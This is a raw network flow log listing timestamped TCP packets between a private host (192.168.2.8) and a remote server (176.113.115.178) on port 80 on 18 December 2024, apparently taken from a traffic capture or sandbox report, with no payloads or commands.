Dec 18, 2024 14:07:41.856375933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.909548044 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.921204090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.921325922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.921382904 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.921678066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.921690941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.921726942 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.922399998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.922591925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.922638893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.923259020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.923329115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.923371077 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.924058914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.924145937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.924182892 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.924851894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.924949884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.925009012 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.925690889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.925899982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.925945997 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.926496983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.926636934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.926682949 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.927366972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.927489042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.927541971 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.928297043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.928371906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.928414106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.929271936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.929285049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.929330111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.929912090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.929929972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.930022955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.930675030 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.930754900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.930799007 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.931713104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.931725025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.931823015 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.932331085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.932347059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.932394028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.933165073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.933490992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.933533907 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.934001923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.934014082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.934050083 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.934783936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.934796095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.934875011 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.935662985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.935729980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.935774088 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.936873913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.936892986 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.936950922 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.937704086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.937788963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.937834978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.938344002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.938519955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.938555002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.939073086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.939217091 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.939260006 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.939723015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.939872980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.939918995 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.940563917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.940706968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.940788031 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.941412926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.941582918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.941629887 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.942404985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.942625999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.942670107 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.943242073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.943253994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.943293095 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.943897009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.943908930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.943944931 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.944655895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.944787979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.944832087 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.945465088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.945594072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.945641994 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.946285963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.946477890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.946521997 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.947196007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.947208881 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.947252035 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.948035002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.948137999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.948174953 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.948771954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.948909998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.948954105 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.949742079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.949755907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.949790955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.950407028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.950625896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.950674057 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.951304913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.951369047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.951412916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.952207088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.952219009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.952255011 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.952897072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.953012943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.953058004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.038259983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.038278103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.038352966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.038547993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.038562059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.038599014 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.039259911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.039658070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.039670944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.039705038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.040402889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.040446043 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.040575981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.041228056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.041266918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.041270971 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.042082071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.042095900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.042133093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.042929888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.042943954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.043044090 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.043664932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.043701887 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.043770075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.044473886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.044516087 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.044537067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.045350075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.045392990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.045459986 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.046122074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.046159983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.046252966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.047056913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.047087908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.047096014 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.047931910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.047938108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.047976971 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.113087893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.113228083 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.113272905 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.113502026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.113750935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.113795042 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.114388943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.114402056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.114434004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.115262032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.115668058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.115710974 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.115786076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.116456985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.116497040 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.116586924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.117063999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.117100954 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.117129087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.118082047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.118093967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.118128061 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.118833065 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.118874073 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.119077921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.119512081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.119549990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.119662046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.120332003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.120364904 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.120564938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.121295929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.121306896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.121335983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.122026920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.122068882 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.122085094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.122843027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.122854948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.122885942 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.123672009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.123711109 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.123768091 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.124579906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.124593973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.124622107 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.125263929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.125298977 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.125413895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.126214027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.126224995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.126265049 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.126970053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.126981974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.127012968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.127873898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.127887011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.127909899 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.128648043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.128695965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.128698111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.129432917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.129445076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.129478931 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.130280018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.130294085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.130321026 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.131112099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.131150007 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.131186008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.131959915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.131972075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.132010937 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.132733107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.132782936 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.133004904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.133663893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.133677006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.133702993 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.134406090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.134443045 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.134535074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.135241985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.135255098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.135277987 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.136163950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.136184931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.136212111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.136935949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.136948109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.136981964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.137712955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.137752056 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.137784958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.138497114 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.138539076 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.138572931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.139339924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.139380932 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.139591932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.140119076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.140165091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.140254021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.141005039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.141017914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.141036034 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.142051935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.142086029 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.142162085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.142726898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.142819881 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.142940044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.143455982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.143491983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.143553019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.144289017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.144330025 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.144403934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.145121098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.145168066 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.230099916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.230115891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.230174065 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.230252028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.230506897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.230559111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.231137037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.231225014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.231267929 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.232026100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.232121944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.232166052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.232817888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.232831001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.232867002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.233581066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.233669996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.233998060 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.234483957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.234639883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.234685898 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.235323906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.235352993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.235390902 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.236036062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.236156940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.236202955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.236895084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.236979961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.237029076 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.237718105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.237770081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.237921000 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.238581896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.238698006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.238748074 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.239362001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.239552021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.239597082 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.240159988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.240242958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.240287066 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.305704117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.305816889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.305898905 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.306056976 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.306070089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.306081057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.306119919 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.306725979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.306736946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.306775093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.307746887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.307791948 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.307811975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.308407068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.308422089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.308494091 CET	49707	80	192.168.2.8	176.113.115.178
